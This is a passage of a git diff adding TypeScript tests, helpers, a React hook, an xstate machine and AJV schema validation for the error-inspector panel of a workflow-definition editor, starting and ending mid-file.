1" }, + ]; + const result = serverValidationErrorToIndexTask(errors as any, mockTasks); + expect(result).toEqual([ + { + path: "tasks[0]", + message: "General error for task 0", + taskPath: "[0]", + task: mockTasks[0], + }, + { + path: "tasks[1]", + message: "General error for task 1", + taskPath: "[1]", + task: mockTasks[1], + }, + ]); + }); + + it("should extract the correct index from paths with prefixes before tasks[]", () => { + const errors = [ + { path: "update.workflowDefs[0].tasks[1]", message: "Error for task 1" }, + { + path: "update.workflowDefs[2].tasks[3]", + message: "Error for task 3", + }, + ]; + const result = serverValidationErrorToIndexTask(errors as any, mockTasks); + expect(result).toEqual([ + { + path: "update.workflowDefs[0].tasks[1]", + message: "Error for task 1", + taskPath: "[1]", + task: mockTasks[1], + }, + { + path: "update.workflowDefs[2].tasks[3]", + message: "Error for task 3", + taskPath: "[3]", + task: mockTasks[3], + }, + ]); + }); +}); + +describe("reverifyServerErrorsTaskChanges", () => { + const mockTask1 = { + name: "task1", + taskReferenceName: "task1_ref", + type: "SIMPLE", + } as any; + const mockTask2 = { + name: "task2", + taskReferenceName: "task2_ref", + type: "SIMPLE", + } as any; + const mockUpdatedTask1 = { ...mockTask1, name: "task1_updated" } as any; + + const createValidationError = (overrides = {}) => ({ + id: ErrorIds.FLOW_ERROR, + message: "Error message", + type: ErrorTypes.WORKFLOW, + severity: ErrorSeverity.ERROR, + hint: "Test hint", + ...overrides, + }); + + it("should filter out validation errors for tasks that have changed", () => { + const serverErrors = [ + createValidationError({ + validationErrors: [ + { + path: "update.workflowDefs[0].tasks[0]", + message: "Error 1", + taskPath: "[0]", + task: mockTask1, + }, + { + path: "update.workflowDefs[0].tasks[1]", + message: "Error 2", + taskPath: "[1]", + task: mockTask2, + }, + ], + }), + ]; + const currentWorkflow = { + tasks: [mockUpdatedTask1, mockTask2], + }; + + const result = reverifyServerErrorsTaskChanges( + serverErrors, + currentWorkflow, + ); + expect(result).toEqual([ + { + ...serverErrors[0], + validationErrors: [ + { + path: "update.workflowDefs[0].tasks[1]", + message: "Error 2", + taskPath: "[1]", + task: mockTask2, + }, + ], + }, + ]); + }); + + it("should return undefined if all validation errors are filtered out", () => { + const serverErrors = [ + createValidationError({ + validationErrors: [ + { + path: "update.workflowDefs[0].tasks[0]", + message: "Error 1", + taskPath: "[0]", + task: mockTask1, + }, + ], + }), + ]; + const currentWorkflow = { + tasks: [mockUpdatedTask1], + }; + + const result = reverifyServerErrorsTaskChanges( + serverErrors, + currentWorkflow, + ); + expect(result).toBeUndefined(); + }); + + it("should handle empty validation errors array", () => { + const serverErrors = [ + createValidationError({ + validationErrors: [], + }), + ]; + const currentWorkflow = { + tasks: [mockTask1], + }; + + const result = reverifyServerErrorsTaskChanges( + serverErrors, + currentWorkflow, + ); + expect(result).toBeUndefined(); + }); + + it("should handle undefined validation errors", () => { + const serverErrors = [createValidationError()]; + const currentWorkflow = { + tasks: [mockTask1], + }; + + const result = reverifyServerErrorsTaskChanges( + serverErrors, + currentWorkflow, + ); + expect(result).toBeUndefined(); + }); + + it("should handle empty server errors array", () => { + const result = reverifyServerErrorsTaskChanges([], { tasks: [mockTask1] }); + expect(result).toBeUndefined(); + }); +}); +describe("filterServerErrorsNotPresentInNodes", () => { + const mockTask1: TaskDef = { + name: "task1", + taskReferenceName: "task1_ref", + type: TaskType.SIMPLE, + startDelay: 0, + joinOn: [], + defaultExclusiveJoinTask: [], + optional: false, + asyncComplete: false, + description: "Mock task 1", + }; + const mockTask2: TaskDef = { + name: "task2", + taskReferenceName: "task2_ref", + type: TaskType.SIMPLE, + startDelay: 0, + joinOn: [], + defaultExclusiveJoinTask: [], + optional: false, + asyncComplete: false, + description: "Mock task 2", + }; + + const createValidationError = (overrides = {}) => ({ + id: ErrorIds.FLOW_ERROR, + message: "Error message", + type: ErrorTypes.WORKFLOW, + severity: ErrorSeverity.ERROR, + hint: "Test hint", + ...overrides, + }); + + const createNode = (task: TaskDef): NodeData> => ({ + id: task.taskReferenceName, + data: { + task, + crumbs: [], + selected: false, + }, + }); + + it("should filter out validation errors for tasks that are not present in nodes", () => { + const serverErrors = [ + createValidationError({ + validationErrors: [ + { + path: "update.workflowDefs[0].tasks[0]", + message: "Error 1", + task: mockTask1, + }, + { + path: "update.workflowDefs[0].tasks[1]", + message: "Error 2", + task: mockTask2, + }, + ], + }), + ]; + const nodes: NodeData>[] = [createNode(mockTask2)]; + + const result = filterServerErrorsNotPresentInNodes(serverErrors, nodes); + expect(result).toEqual([ + { + ...serverErrors[0], + validationErrors: [ + { + path: "update.workflowDefs[0].tasks[1]", + message: "Error 2", + task: mockTask2, + }, + ], + }, + ]); + }); + + it("should return undefined if all validation errors are filtered out", () => { + const serverErrors = [ + createValidationError({ + validationErrors: [ + { + path: "update.workflowDefs[0].tasks[0]", + message: "Error 1", + task: mockTask1, + }, + ], + }), + ]; + const nodes: NodeData>[] = []; + + const result = filterServerErrorsNotPresentInNodes(serverErrors, nodes); + expect(result).toBeUndefined(); + }); + + it("should handle validation errors without task property", () => { + const serverErrors = [ + createValidationError({ + validationErrors: [ + { + path: "update.workflowDefs[0]", + message: "General workflow error", + }, + ], + }), + ]; + const nodes: NodeData>[] = [createNode(mockTask1)]; + + const result = filterServerErrorsNotPresentInNodes(serverErrors, nodes); + expect(result).toEqual([ + { + ...serverErrors[0], + validationErrors: [ + { + path: "update.workflowDefs[0]", + message: "General workflow error", + }, + ], + }, + ]); + }); + + it("should handle empty validation errors array", () => { + const serverErrors = [ + createValidationError({ + validationErrors: [], + }), + ]; + const nodes: NodeData>[] = [createNode(mockTask1)]; + + const result = filterServerErrorsNotPresentInNodes(serverErrors, nodes); + expect(result).toBeUndefined(); + }); + + it("should handle undefined validation errors", () => { + const serverErrors = [createValidationError()]; + const nodes: NodeData>[] = [createNode(mockTask1)]; + + const result = filterServerErrorsNotPresentInNodes(serverErrors, nodes); + expect(result).toBeUndefined(); + }); + + it("should handle empty server errors array", () => { + const result = filterServerErrorsNotPresentInNodes( + [], + [createNode(mockTask1)], + ); + expect(result).toBeUndefined(); + }); +}); diff --git a/ui-next/src/pages/definition/errorInspector/state/helpers.ts b/ui-next/src/pages/definition/errorInspector/state/helpers.ts new file mode 100644 index 0000000..a9b1696 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/helpers.ts @@ -0,0 +1,273 @@ +import { NodeData } from "reaflow"; +import _last from "lodash/last"; +import { + TaskDef, + TaskType, + Crumb, + CrumbMap, + InlineTaskDef, + DoWhileTaskDef, + JoinTaskDef, + SwitchTaskDef, + JDBCTaskDef, + WorkflowDef, +} from "types"; +import { + extractVariablesFromTask, + undeclaredInputParameters, +} from "pages/definition/helpers"; +import { + ServerValidationError, + StoredValidationError, + ValidationError, +} from "./types"; +import _nth from "lodash/nth"; +import _path from "lodash/fp/path"; + +import fastDeepEqual from "fast-deep-equal"; +import { NodeTaskData } from "components/features/flow/nodes/mapper"; +export type NodeInnerData = { task: TaskDef; crumbs: Crumb[] }; +type SingleEntry = [string, NodeInnerData]; +type EntriesIgnoreSubWorkflowChilds = { + entries: Array; + subWorkflowTaskReferences: string[]; +}; + +export const nodesToCrumbMap = (nodes: NodeData[]): CrumbMap => { + const entrieWithoutSubWorkflowSubTasks = nodes.reduce( + (acc: EntriesIgnoreSubWorkflowChilds, { id, data, parent }) => { + const taskType = data?.task?.type; + if (taskType === "SWITCH_JOIN") { + return acc; + } + const possibleEntry = [ + [id, { task: data!.task as TaskDef, crumbs: data!.crumbs as Crumb[] }], + ]; + if (taskType === TaskType.SUB_WORKFLOW) { + // If subworkflow extract possible parent + return { + entries: acc.entries.concat(possibleEntry as unknown as SingleEntry), // TS does not seem to know that if a concat an array it will just join it + subWorkflowTaskReferences: acc.subWorkflowTaskReferences.concat(id), + }; + } + if ( + (parent && acc.subWorkflowTaskReferences.includes(parent)) || + id === "start" || + id === "end" + ) { + // if parent is included ignore node and crumbs. we arent drilling on subworkflows so we are safe + return acc; + } + return { + entries: acc.entries.concat(possibleEntry as unknown as SingleEntry), + subWorkflowTaskReferences: acc.subWorkflowTaskReferences, + }; + }, + { entries: [], subWorkflowTaskReferences: [] }, + ); + return Object.fromEntries(entrieWithoutSubWorkflowSubTasks.entries); +}; + +const invalidVariables = (codeExpression: string, givenVariables: string[]) => { + const invalidParameters = givenVariables.map((word: string) => { + const wordRegex = new RegExp(`${word}(?=[^a-zA-Z0-9_$]|$)`, "g"); + const decorators = []; + let _match; + while ((_match = wordRegex.exec(codeExpression))) { + decorators.push(word); + } + return decorators; + }); + return invalidParameters ? invalidParameters.flat() : []; +}; + +export const validateExpressionWithInputParams = ( + task: + | Partial + | Partial + | Partial + | Partial + | Partial, +) => { + if (task.type === TaskType.INLINE) { + const taskExpression = task?.inputParameters?.expression ?? ""; + const addedInputParameters = undeclaredInputParameters( + taskExpression, + task?.inputParameters, + ); + return invalidVariables(taskExpression, addedInputParameters); + } + if (task.type === TaskType.DO_WHILE) { + const taskExpression = task?.loopCondition ?? ""; + const taskReferenceName = task?.taskReferenceName ?? ""; + const addedInputParameters = undeclaredInputParameters( + taskExpression, + task?.inputParameters, + ); + if (addedInputParameters.includes(taskReferenceName)) { + addedInputParameters.splice( + addedInputParameters.indexOf(taskReferenceName), + 1, + ); + } + const loopOverTasks = + task?.loopOver?.map((item) => item.taskReferenceName) ?? []; + const filteredAddedInputParameters = addedInputParameters.filter( + (element) => !loopOverTasks.includes(element), + ); + return invalidVariables(taskExpression, filteredAddedInputParameters); + } + if (task.type === TaskType.SWITCH) { + const taskExpression = task?.expression ?? ""; + const addedInputParameters = undeclaredInputParameters( + taskExpression, + task?.inputParameters, + ); + return invalidVariables(taskExpression, addedInputParameters); + } + if (task.type === TaskType.JOIN) { + const taskExpression = task?.expression ?? ""; + const addedInputParameters = undeclaredInputParameters( + taskExpression, + task?.inputParameters, + ); + let filteredInputParameters = [...addedInputParameters]; + if (addedInputParameters.includes("joinOn")) { + filteredInputParameters = addedInputParameters.filter( + (item) => item !== "joinOn", + ); + } + return invalidVariables(taskExpression, filteredInputParameters); + } + + if (task.type === TaskType.JDBC) { + const taskExpression = task?.inputParameters?.statement ?? ""; + const numberQuestionCharacters = (taskExpression.match(/\?/g) || []).length; + const parameters = task?.inputParameters?.parameters ?? []; + + const isValidParameters = numberQuestionCharacters === parameters.length; + + return isValidParameters + ? [] + : [ + `JDBC task should have ${numberQuestionCharacters} query parameter${ + numberQuestionCharacters > 1 ? "s" : "" + }`, + ]; + } +}; + +export const getVariablesForEachTasks = ( + crumbMaps: CrumbMap, +): Record => { + const referencesForTaskKeys: Record = {}; + Object.entries(crumbMaps).forEach(([key, value]) => { + const tasks = value.crumbs + .map((crumb) => crumb.ref) + .map((ref) => crumbMaps[ref].task); + + const lastTask = _last(tasks); + if (lastTask?.type === TaskType.SET_VARIABLE) { + tasks.pop(); + } + referencesForTaskKeys[key] = extractVariablesFromTask(tasks); + }); + return referencesForTaskKeys; +}; + +export const jakatraPathToPropertyPath = (path?: string): string => { + if (!path) return ""; + + // Extract everything after 'tasks' including the tasks part + const tasksAndAfter = path.split("tasks").pop(); + if (!tasksAndAfter) return ""; + + return ( + tasksAndAfter + // Remove any prefix like update.workflowDefs[0] + .replace(/^.*?tasks/, "tasks") + // Remove markers + .replace(//g, "") + // Remove markers + .replace(//g, "") + // Clean up any double brackets that might have been created + .replace(/\]\[/g, "][") + // Remove any dots that appear right before a bracket + .replace(/\.\[/g, "[") + ); +}; + +export const serverValidationErrorToIndexTask = ( + validationErrors: ServerValidationError[], + workflowTasks: TaskDef[], +): StoredValidationError[] => { + return validationErrors.map((sve) => { + const { path } = sve; + const maybeTaskPath = jakatraPathToPropertyPath(path); + if (maybeTaskPath != null) { + const valAtIdx = _path(maybeTaskPath, workflowTasks); + return valAtIdx != null + ? { + ...sve, + taskPath: maybeTaskPath, + task: valAtIdx, + } + : sve; + } + return sve; + }); +}; + +export const reverifyServerErrorsTaskChanges = ( + serverErrors: ValidationError[], + currentWorkflow: Partial, +): ValidationError[] | undefined => { + const serverError = _nth(serverErrors, 0); + if (serverError != null) { + const validationErrors = + serverError.validationErrors + ?.map((sve) => { + if (sve.path != null && sve?.taskPath == null) return []; // Any change to the workflow means the error is not valid anymore + if (!sve?.taskPath) return sve; + const updatedTask = _path(sve?.taskPath, currentWorkflow.tasks); + if (updatedTask && !fastDeepEqual(sve.task, updatedTask)) { + // task is not the same remove validation + return []; + } + return sve; + }) + .flat() ?? []; + + return validationErrors[0] === undefined + ? undefined + : [{ ...serverError, validationErrors }]; + } +}; + +export const filterServerErrorsNotPresentInNodes = ( + serverErrors: ValidationError[], + nodes: NodeData>[], +) => { + const serverError = _nth(serverErrors, 0); + if (serverError != null) { + const validationErrors = + serverError.validationErrors + ?.map((sve) => { + if (sve?.task == null) return sve; + const targetNode = nodes.find( + (n) => + n.data?.task.taskReferenceName === sve.task?.taskReferenceName, + ); + if (targetNode == null) { + return []; // Node still exist means no changes + } + + return sve; + }) + .flat() ?? []; + + return validationErrors[0] === undefined + ? undefined + : [{ ...serverError, validationErrors }]; + } +}; diff --git a/ui-next/src/pages/definition/errorInspector/state/hook.ts b/ui-next/src/pages/definition/errorInspector/state/hook.ts new file mode 100644 index 0000000..c2f72b7 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/hook.ts @@ -0,0 +1,184 @@ +import { ActorRef } from "xstate"; +import { useSelector } from "@xstate/react"; +import { + ErrorInspectorMachineEvents, + ErrorInspectorEventTypes, + TaskErrors, +} from "./types"; + +export const useErrorInspectorActor = ( + errorInspectorActor: ActorRef, +) => { + const send = errorInspectorActor.send; + + const handleToggleTaskErrors = () => { + send({ + type: ErrorInspectorEventTypes.TOGGLE_TASK_ERRORS_VIEWER, + }); + }; + + const handleToggleWorkflowErrors = () => { + send({ + type: ErrorInspectorEventTypes.TOGGLE_WORKFLOW_ERRORS_VIEWER, + }); + }; + + const handleClickReference = (referenceText: string) => { + send({ + type: ErrorInspectorEventTypes.CLICK_REFERENCE, + referenceText, + }); + }; + + const handleJumpToFirstError = () => { + send({ + type: ErrorInspectorEventTypes.JUMP_TO_FIRST_ERROR, + }); + }; + + const handleToggleTaskReferenceErrors = () => { + send({ + type: ErrorInspectorEventTypes.TOGGLE_TASK_REFERENCE_ERRORS_VIEWER, + }); + }; + + const handleToggleWorkflowReferenceErrors = () => { + send({ + type: ErrorInspectorEventTypes.TOGGLE_WORKFLOW_REFERENCE_ERRORS_VIEWER, + }); + }; + + const handleCleanServerErrors = () => { + send({ + type: ErrorInspectorEventTypes.CLEAN_SERVER_ERRORS, + }); + }; + + const handleToggleErrorInspector = () => { + send({ + type: ErrorInspectorEventTypes.TOGGLE_ERROR_INSPECTOR, + }); + }; + + const handleSetErrorInspectorCollapsed = () => { + send({ + type: ErrorInspectorEventTypes.SET_ERROR_INSPECTOR_COLLAPSED, + }); + }; + + return [ + { + workflowErrors: useSelector( + errorInspectorActor, + (state) => state.context.workflowErrors, + ), + taskErrors: useSelector( + errorInspectorActor, + (state) => state.context.taskErrors, + ), + unreachableTaskErrors: useSelector( + errorInspectorActor, + (state) => state.context.unreachableTaskProblems, + ), + serverErrors: useSelector( + errorInspectorActor, + (state) => state.context.serverErrors, + ), + runWorkflowErrors: useSelector( + errorInspectorActor, + (state) => state.context.runWorkflowErrors, + ), + taskReferenceErrors: useSelector( + errorInspectorActor, + (state) => state.context.taskReferencesProblems, + ), + workflowReferenceErrors: useSelector( + errorInspectorActor, + (state) => state.context.workflowReferenceProblems, + ), + errorCount: useSelector( + errorInspectorActor, + ({ + context: { + workflowErrors = [], + taskErrors = [], + serverErrors = [], + runWorkflowErrors = [], + }, + }) => { + const taskTotalErrors = taskErrors.reduce( + (acc: number, { errors }: TaskErrors) => acc + errors.length, + 0, + ); + return ( + workflowErrors.length + + taskTotalErrors + + serverErrors.length + + runWorkflowErrors.length + ); + }, + ), + warningCount: useSelector( + errorInspectorActor, + ({ + context: { + workflowReferenceProblems, + taskReferencesProblems, + unreachableTaskProblems, + }, + }) => { + const taskTotalErrors = taskReferencesProblems.reduce( + (acc: number, { errors }: TaskErrors) => acc + errors.length, + 0, + ); + return ( + workflowReferenceProblems.length + + unreachableTaskProblems.length + + taskTotalErrors + ); + }, + ), + taskErrorsExpanded: useSelector(errorInspectorActor, (state) => + state.matches( + "errorsDisplay.controlledErrors.withErrors.taskErrorsViewer.expanded", + ), + ), + workflowErrorsExpanded: useSelector(errorInspectorActor, (state) => + state.matches( + "errorsDisplay.controlledErrors.withErrors.workflowErrorsViewer.expanded", + ), + ), + referenceTaskErrorsExpanded: useSelector(errorInspectorActor, (state) => + state.matches( + "errorsDisplay.missingReferences.referencesMenus.taskReferences.expanded", + ), + ), + referenceWorkflowErrorsExpanded: useSelector( + errorInspectorActor, + (state) => + state.matches( + "errorsDisplay.missingReferences.referencesMenus.workflowReferences.expanded", + ), + ), + expanded: useSelector( + errorInspectorActor, + (state) => state.context.expanded, + ), + tasks: useSelector( + errorInspectorActor, + (state) => state.context.currentWf?.tasks, + ), + }, + { + handleToggleTaskErrors, + handleToggleWorkflowErrors, + handleCleanServerErrors, + handleToggleTaskReferenceErrors, + handleToggleWorkflowReferenceErrors, + handleClickReference, + handleToggleErrorInspector, + handleSetErrorInspectorCollapsed, + handleJumpToFirstError, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/errorInspector/state/index.ts b/ui-next/src/pages/definition/errorInspector/state/index.ts new file mode 100644 index 0000000..79fd822 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/index.ts @@ -0,0 +1,2 @@ +export * from "./machine"; +export * from "./types"; diff --git a/ui-next/src/pages/definition/errorInspector/state/machine.ts b/ui-next/src/pages/definition/errorInspector/state/machine.ts new file mode 100644 index 0000000..a85491d --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/machine.ts @@ -0,0 +1,295 @@ +import { createMachine } from "xstate"; +import { + ErrorInspectorMachineContext, + ErrorInspectorEventTypes, + ErrorInspectorMachineEvents, +} from "./types"; +import * as actions from "./actions"; +import { + testForRemovedTaskReferencesService, + fetchSecretsEndEnvironmentsList, +} from "./service"; + +export const errorInspectorMachine = createMachine< + ErrorInspectorMachineContext, + ErrorInspectorMachineEvents +>( + { + id: "errorInspectorMachine", + predictableActionArguments: true, + initial: "fetchForSecrets", + context: { + currentWf: undefined, + workflowErrors: [], + taskErrors: [], + serverErrors: [], + runWorkflowErrors: [], + crumbMap: undefined, + workflowReferenceProblems: [], + taskReferencesProblems: [], + unreachableTaskProblems: [], + authHeaders: {}, + expanded: false, + }, + on: { + [ErrorInspectorEventTypes.SET_WORKFLOW]: { + actions: ["persistCurrentWorkflow"], + }, + [ErrorInspectorEventTypes.TOGGLE_ERROR_INSPECTOR]: { + actions: ["toggleErrorInspector"], + }, + [ErrorInspectorEventTypes.SET_ERROR_INSPECTOR_EXPANDED]: { + actions: ["setErrorInspectorExpanded", "cleanImportSummary"], + }, + [ErrorInspectorEventTypes.SET_ERROR_INSPECTOR_COLLAPSED]: { + actions: ["setErrorInspectorCollapsed", "cleanImportSummary"], + }, + [ErrorInspectorEventTypes.COLLAPSE_INSPECTOR_IF_NO_ERRORS]: { + actions: ["collapseInspectorIfNoErrors"], + }, + [ErrorInspectorEventTypes.REPORT_SERVER_ERROR]: { + actions: ["persistServerError"], + }, + }, + states: { + fetchForSecrets: { + invoke: { + src: "fetchSecretsEndEnvironmentsList", + id: "fetch-secrets-and-environments", + onDone: { + actions: ["updateSecretEnvs"], + target: "errorsDisplay", + }, + onError: { + target: "errorsDisplay", + }, + }, + }, + errorsDisplay: { + type: "parallel", + states: { + controlledErrors: { + on: { + [ErrorInspectorEventTypes.REPORT_FLOW_ERROR]: { + actions: ["flowErrorToWorkflowError"], + target: ".testState", + }, + [ErrorInspectorEventTypes.VALIDATE_WORKFLOW_STRING]: { + actions: ["testForErrorsInStringWorkflow"], + target: ".testState", + }, + [ErrorInspectorEventTypes.VALIDATE_WORKFLOW]: { + actions: ["testForErrors"], + target: ".testState", + }, + [ErrorInspectorEventTypes.CLEAN_SERIALIZATION_ERROR]: { + actions: [ + "cleanSerializationError", + "raiseCollapseErrorInspectorIfNoErrors", + ], + }, + }, + initial: "idle", + states: { + idle: { + entry: "notifyErrorFree", + }, + withErrors: { + type: "parallel", + entry: "workflowHasErrors", + states: { + taskErrorsViewer: { + initial: "collapsed", + states: { + collapsed: { + on: { + [ErrorInspectorEventTypes.TOGGLE_TASK_ERRORS_VIEWER]: + { + target: "expanded", + }, + }, + }, + expanded: { + on: { + [ErrorInspectorEventTypes.TOGGLE_TASK_ERRORS_VIEWER]: + { + target: "collapsed", + }, + [ErrorInspectorEventTypes.CLICK_REFERENCE]: { + actions: ["setErrorInspectorCollapsed"], + target: "collapsed", + }, + }, + }, + }, + }, + workflowErrorsViewer: { + initial: "collapsed", + states: { + collapsed: { + on: { + [ErrorInspectorEventTypes.TOGGLE_WORKFLOW_ERRORS_VIEWER]: + { + target: "expanded", + }, + }, + }, + expanded: { + on: { + [ErrorInspectorEventTypes.TOGGLE_WORKFLOW_ERRORS_VIEWER]: + { + target: "collapsed", + }, + [ErrorInspectorEventTypes.CLICK_REFERENCE]: { + actions: ["setErrorInspectorCollapsed"], + target: "collapsed", + }, + [ErrorInspectorEventTypes.JUMP_TO_FIRST_ERROR]: { + actions: [ + "sendJumpToFirstError", + "setErrorInspectorCollapsed", + ], + }, + }, + }, + }, + }, + }, + }, + testState: { + always: [ + { + target: "idle", + cond: (context) => { + const { workflowErrors, taskErrors } = context; + return ( + workflowErrors.length === 0 && taskErrors.length === 0 + ); + }, + }, + { target: "withErrors" }, + ], + }, + }, + }, + serverErrors: { + on: { + [ErrorInspectorEventTypes.REPORT_SERVER_ERROR]: { + actions: ["persistServerError", "raiseExpandErrorInspector"], + }, + [ErrorInspectorEventTypes.REPORT_RUN_ERROR]: { + actions: ["persistRunError", "raiseExpandErrorInspector"], + }, + [ErrorInspectorEventTypes.CLEAN_RUN_ERRORS]: { + actions: ["cleanRunError", "raiseCollapseErrorInspector"], + }, + [ErrorInspectorEventTypes.CLEAN_SERVER_ERRORS]: { + actions: [ + "cleanServerErrors", + "raiseCollapseErrorInspectorIfNoErrors", + ], + }, + [ErrorInspectorEventTypes.CLICK_REFERENCE]: { + actions: ["sendCancelConfirmSave", "sendReferenceText"], + }, + [ErrorInspectorEventTypes.VALIDATE_WORKFLOW]: { + actions: [ + "verifyChangesInServerErrors", + "collapseInspectorIfNoErrors", + ], + }, + [ErrorInspectorEventTypes.FLOW_FINISHED_RENDERING]: { + actions: ["removeServerErrorsRelatedToRemovedTasks"], + }, + }, + }, + missingReferences: { + // missingReferences wont prevent the ui from rendering + on: { + [ErrorInspectorEventTypes.FLOW_FINISHED_RENDERING]: { + actions: ["persistCrumbMap"], + target: ".testForMissingReferences", + }, + }, + initial: "referencesMenus", + states: { + testForMissingReferences: { + invoke: { + src: "testForRemovedTaskReferencesService", + id: "testRemovedTaskReferences", + onDone: { + actions: ["persistReferenceProblems"], + target: "referencesMenus", + }, + }, + }, + referencesMenus: { + type: "parallel", + states: { + taskReferences: { + initial: "collapsed", + states: { + collapsed: { + on: { + [ErrorInspectorEventTypes.TOGGLE_TASK_REFERENCE_ERRORS_VIEWER]: + { + target: "expanded", + }, + }, + }, + expanded: { + on: { + [ErrorInspectorEventTypes.TOGGLE_TASK_REFERENCE_ERRORS_VIEWER]: + { + target: "collapsed", + }, + [ErrorInspectorEventTypes.CLICK_REFERENCE]: { + actions: [ + "sendReferenceText", + "setErrorInspectorCollapsed", + ], + }, + }, + }, + }, + }, + workflowReferences: { + initial: "collapsed", + states: { + collapsed: { + on: { + [ErrorInspectorEventTypes.TOGGLE_WORKFLOW_REFERENCE_ERRORS_VIEWER]: + { + target: "expanded", + }, + }, + }, + expanded: { + on: { + [ErrorInspectorEventTypes.TOGGLE_WORKFLOW_REFERENCE_ERRORS_VIEWER]: + { + target: "collapsed", + }, + [ErrorInspectorEventTypes.CLICK_REFERENCE]: { + actions: ["sendReferenceText"], + }, + }, + }, + }, + }, + }, + }, + }, + }, + }, + }, + }, + }, + { + actions: actions as any, + services: { + testForRemovedTaskReferencesService, + fetchSecretsEndEnvironmentsList, + }, + }, +); diff --git a/ui-next/src/pages/definition/errorInspector/state/schemaValidator.ts b/ui-next/src/pages/definition/errorInspector/state/schemaValidator.ts new file mode 100644 index 0000000..7df4603 --- /dev/null +++ b/ui-next/src/pages/definition/errorInspector/state/schemaValidator.ts @@ -0,0 +1,308 @@ +import type { ErrorObject } from "ajv"; +import Ajv from "ajv"; +import ajvErrors from "ajv-errors"; +import _path from "lodash/fp/path"; +import _groupBy from "lodash/groupBy"; +import _isEmpty from "lodash/isEmpty"; +import _isNil from "lodash/isNil"; +import { + TaskDef, + WorkflowDef, + schemasByType, + workflowDefinitionSchemaWithDepsAjv, + workflowSchemaAjv, +} from "types"; +import { logger } from "utils"; +import { pluginRegistry } from "plugins/registry"; +import { + ErrorIds, + ErrorSeverity, + ErrorTypes, + SchemaStringValidationResponse, + SchemaValidationResponse, + TaskErrors, + ValidationError, +} from "./types"; + +const taskIndexRegeEx = new RegExp("/tasks/([0-9]{1,})/*"); + +const ajv = new Ajv({ + schemas: workflowDefinitionSchemaWithDepsAjv, + allErrors: true, + allowUnionTypes: true, +}); + +// Ajv option allErrors is required +ajvErrors(ajv /*, {singleError: true} */); + +export const identifyErrorLocation = (validateInstance: any) => { + return _groupBy(validateInstance.errors, ({ instancePath }) => + instancePath.startsWith("/tasks/") ? "workflowTasks" : "workflowRoot", + ); +}; + +export const extractTaskReferenceNameFromTaskErrors = ( + taskErrrors: ErrorObject[], + workflow: Partial, +): TaskDef[] => { + const indexesAndTasks = taskErrrors.reduce((acc, { instancePath }) => { + const match = taskIndexRegeEx.exec(instancePath); + return match != null && match?.length > 1 + ? { ...acc, [match[1]]: workflow.tasks![parseInt(match[1])] } // TODO it is true that its possibly undefined + : acc; + }, {}); + + return Object.values(indexesAndTasks); +}; + +export const truncateToLastNumber = (str: string) => { + // Match any sequence up to the last sequence of numbers + const match = str.match(/^(.*\/\d+)(?:\/|$)/); + return match ? match[1] : str; +}; + +export const convertToPropertyPath = (str: string) => + str + .split("/") + .filter((segment) => segment !== "") // Remove empty segments, e.g., the first one from "/decisionCases/..." + .map((segment) => (isNaN(Number(segment)) ? `.${segment}` : `[${segment}]`)) // Convert to dot or array notation + .join(""); // Join the segments + +const isUnsupportedType = (error: ErrorObject, originalTask: TaskDef) => { + const taskInstancePath = truncateToLastNumber(error.instancePath); + const path = convertToPropertyPath(taskInstancePath); + const maybeTask = _path(path, originalTask); + + return maybeTask?.type in schemasByType === false; +}; + +export const taskErrorToValidationError = ( + errorObj: ErrorObject, + originalTask: TaskDef, +): ValidationError => { + if (_isEmpty(errorObj.instancePath)) { + // Error in outer task + if (errorObj.keyword === "required") { + return { + id: ErrorIds.TASK_REQUIRED_FIELD_MISSING, + message: errorObj?.message ?? "", + hint: `Add the required field ${errorObj?.params?.missingProperty}`, + taskReferenceName: originalTask?.taskReferenceName, + type: ErrorTypes.TASK, + path: errorObj.instancePath, + severity: ErrorSeverity.ERROR, + }; + } + } + + if ( + errorObj.instancePath !== "/name" && + isUnsupportedType(errorObj, originalTask) + ) { + return { + id: ErrorIds.UNKNOWN_TASK_TYPE, + message: errorObj?.message ?? "", + taskReferenceName: originalTask?.taskReferenceName, + path: errorObj.instancePath, + type: ErrorTypes.TASK, + severity: ErrorSeverity.ERROR, + }; + } + + if (errorObj.instancePath.includes("inputParameters")) { + if (errorObj.keyword === "required") { + return { + id: ErrorIds.TASK_REQUIRED_INPUT_PARAMETERS_MISSING, + message: errorObj?.message ?? "", + hint: `Add the required inputParameter ${errorObj?.params?.missingProperty}`, + taskReferenceName: originalTask?.taskReferenceName, + path: errorObj.instancePath, + type: ErrorTypes.TASK, + severity: ErrorSeverity.ERROR, + }; + } + } + + if (errorObj.keyword === "enum") { + return { + id: ErrorIds.ALLOWED_VALUES, + message: errorObj?.message ?? "", + hint: `Use any of the allowed values ${( + errorObj?.params?.allowedValues || [] + ).join(", ")}`, + taskReferenceName: originalTask?.taskReferenceName, + path: errorObj.instancePath, + type: ErrorTypes.TASK, + severity: ErrorSeverity.ERROR, + }; + } + + return { + id: ErrorIds.GENERIC_ERROR, + message: errorObj?.message ?? "", + taskReferenceName: originalTask?.taskReferenceName, + type: ErrorTypes.TASK, + severity: ErrorSeverity.ERROR, + }; +}; + +export const findTaskError = (task: TaskDef): ValidationError[] => { + const taskType = task.type; + + if (_isNil(taskType)) { + return [ + { + id: ErrorIds.TASK_TYPE_NOT_PRESENT, + message: + "Every task should have a type attribute, you seem to have missed the type", + hint: "Add the type: attribute to the task with a supported type.", + type: ErrorTypes.TASK, + + severity: ErrorSeverity.ERROR, + }, + ]; + } + const taskSchema = schemasByType[taskType]; + if (_isNil(taskSchema)) { + return [ + { + id: ErrorIds.UNKNOWN_TASK_TYPE, + message: `Task type ${taskType} is not supported`, + hint: "Use a supported task type", + type: ErrorTypes.TASK, + severity: ErrorSeverity.ERROR, + }, + ]; + } + const validate = ajv.getSchema(taskSchema.$id)!; + const valid = validate(task); + const schemaErrors = valid + ? [] + : validate.errors?.map((eo) => taskErrorToValidationError(eo, task)) || []; + + return [...schemaErrors, ...pluginRegistry.getTaskValidationErrors(task)]; +}; + +export const createMainValidator = (workflow: Partial): any => { + const validate = ajv.getSchema(workflowSchemaAjv.$id)!; + const valid = validate(workflow); + + return valid ? null : validate; +}; + +export const computeWorkflowStringErrors = ( + workflowString: string, +): SchemaStringValidationResponse => { + try { + const workflow: Partial = JSON.parse(workflowString); + return { + ...computeWorkflowErrors(workflow), + currentWf: workflow, + }; + } 